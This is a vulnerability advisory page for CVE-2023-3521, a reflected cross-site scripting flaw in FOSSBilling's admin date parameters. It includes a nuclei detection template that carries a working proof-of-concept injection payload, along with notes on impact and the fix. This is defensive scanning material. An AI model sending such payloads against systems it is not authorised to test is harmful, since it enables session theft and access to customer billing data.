FOSSBilling < 0.5.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.9%likelihood of exploitation, next 30 days

61%of all CVEs are less likely

Readycheck to confirm it

Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.

Impact

Unauthenticated attackers can inject malicious JavaScript through date_to and date_from parameters to steal FOSSBilling administrator session cookies and access sensitive billing and customer data.

Fix

Update FOSSBilling to version 0.5.4 or later that properly sanitizes date parameters in the admin interface and encodes output to prevent reflected XSS attacks.

How to confirm it

Send: GET /admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)>
Positive when: contains "<img src=x onerror=alert(3)>" and "FOSSBilling" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3521 -u <target>

The full check

id: CVE-2023-3521

info:
  name: FOSSBilling < 0.5.3 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through date_to and date_from parameters to steal FOSSBilling administrator session cookies and access sensitive billing and customer data.
  remediation: |
    Update FOSSBilling to version 0.5.4 or later that properly sanitizes date parameters in the admin interface and encodes output to prevent reflected XSS attacks.
  reference:
    - https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3521
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3521
    cwe-id: CWE-79
    epss-score: 0.00919
    epss-percentile: 0.6056
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="FOSSBilling"
    product: fossbilling
  tags: cve2023,cve,fossbilling,xss,vuln

http:
  - raw:
      - |
        GET /admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(3)>"
          - "FOSSBilling"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from